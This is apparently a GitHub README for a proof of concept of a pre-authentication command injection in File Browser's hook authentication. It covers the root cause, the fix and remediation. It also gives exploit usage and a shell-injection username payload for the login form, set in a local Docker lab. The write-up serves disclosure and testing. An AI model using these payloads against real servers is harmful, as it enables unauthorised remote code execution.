README.md
Rendering markdown...
# CVE-2026-54088: Command Injection via Authentication Hook Shell Substitution (Pre-Authentication RCE)
## Description
This repository contains a Proof of Concept (PoC) for CVE-2026-54088, a critical OS Command Injection vulnerability in **File Browser** (versions `<= 2.63.5`).
The vulnerability exists in the **Hook Authentication** feature. When an administrator configures File Browser to authenticate users with an external command, the login-supplied `username` and `password` values are expanded into the configured command string with `os.Expand()` without escaping. An unauthenticated remote attacker can inject shell syntax through the login request and execute arbitrary commands before authentication succeeds.
**Discovered by:** saku0512 (https://github.com/Saku0512)
---
## Disclaimer
This project is for educational and ethical security testing purposes only.
The author is not responsible for any misuse, damage, or illegal activities caused by this tool. Unauthorized access to computer systems is illegal. Use this software only in environments where you have explicit permission to conduct security testing.
---
## Vulnerability Details
- **CVE ID:** CVE-2026-54088
- **Advisory:** GHSA-m93h-4hw7-5qcm
- **Type:** OS Command Injection (CWE-78)
- **Impact:** Pre-Authentication Remote Code Execution (RCE)
- **Affected Versions:** File Browser `<= 2.63.5`
- **Fixed Version:** File Browser `2.63.6`
- **Affected File:** `auth/hook.go`
- **Affected Function:** `HookAuth.RunCommand`
### Root Cause
`HookAuth.RunCommand()` splits the configured authentication command and expands credential placeholders with attacker-controlled request data:
```go
envMapping := func(key string) string {
switch key {
case "USERNAME":
return a.Cred.Username
case "PASSWORD":
return a.Cred.Password
default:
return os.Getenv(key)
}
}
for i, arg := range command {
if i == 0 {
continue
}
command[i] = os.Expand(arg, envMapping)
}
```
If the hook command is configured as:
```bash
sh -c $USERNAME
```
and an attacker submits a username such as:
```bash
touch /tmp/fb_hook_auth_pwned; echo hook.action=block
```
the server executes the attacker-controlled shell script during the login attempt. No valid account or password is required.
### Fixed Code
The issue was fixed in commit [`34ae34e764d72540c039f1f5ea2ec4c974168c1f`](https://github.com/filebrowser/filebrowser/commit/34ae34e764d72540c039f1f5ea2ec4c974168c1f) by removing credential substitution from the hook command string. The hook command is now executed as configured, while credentials are provided through environment variables only:
```go
command := strings.Split(a.Command, " ")
cmd := exec.Command(command[0], command[1:]...)
cmd.Env = append(os.Environ(), fmt.Sprintf("USERNAME=%s", a.Cred.Username))
cmd.Env = append(cmd.Env, fmt.Sprintf("PASSWORD=%s", a.Cred.Password))
```
The removed vulnerable logic was the `os.Expand()` loop that rewrote command arguments with attacker-controlled credential values before `exec.Command()` was called. The fix also added regression tests to ensure injected credentials cannot alter the hook command and that `USERNAME` / `PASSWORD` are still available to hooks through the environment.
---
## Proof of Concept (Usage)
### 1. Environment Setup
Start the vulnerable File Browser environment. The `filebrowser-init` service creates the database and enables Hook Authentication with a vulnerable command.
```bash
docker compose up -d
```
The target will be available at:
```text
http://localhost:8080
```
### 2. Execution of Exploit
Run the exploit script from this directory:
```bash
python3 exploit.py -t http://localhost:8080 -c "touch /tmp/fb_hook_auth_pwned"
```
The exploit sends a single unauthenticated login request to `/api/login`. Authentication is expected to fail, but the injected command runs first.
### 3. GUI Verification
Open the File Browser login page in a browser:
```text
http://localhost:8080
```
Enter the following values in the login form, then click the login button:
```text
Username: touch /tmp/fb_hook_auth_gui_pwned; echo hook.action=block
Password: anything
```
The login attempt fails, but the Hook Authentication command runs before the authentication result is returned. Verify that the GUI login attempt created the marker file inside the container:
```bash
docker exec -it cve-2026-54088-hook-auth-vuln ls -l /tmp/fb_hook_auth_gui_pwned
```
If the file exists, pre-authentication RCE was triggered through the GUI login flow.
### 4. CLI PoC Verification
Verify that the command executed inside the File Browser container:
```bash
docker exec -it cve-2026-54088-hook-auth-vuln ls -l /tmp/fb_hook_auth_pwned
```
If the file exists, pre-authentication RCE is confirmed.
### 5. Cleanup
```bash
docker compose down -v
```
---
## Remediation
Update File Browser to **version 2.63.6** or later.
Credentials should be passed to hook commands only as environment variables, not interpolated into shell command strings. Any remaining command execution paths should avoid shell evaluation or use strict argument separation and escaping.
---
## References
- [File Browser GitHub Repository](https://github.com/filebrowser/filebrowser)
- [File Browser v2.63.5 vulnerable implementation](https://github.com/filebrowser/filebrowser/blob/v2.63.5/auth/hook.go)
- [Fix commit: remove undocumented hook auth with shell replacement](https://github.com/filebrowser/filebrowser/commit/34ae34e764d72540c039f1f5ea2ec4c974168c1f)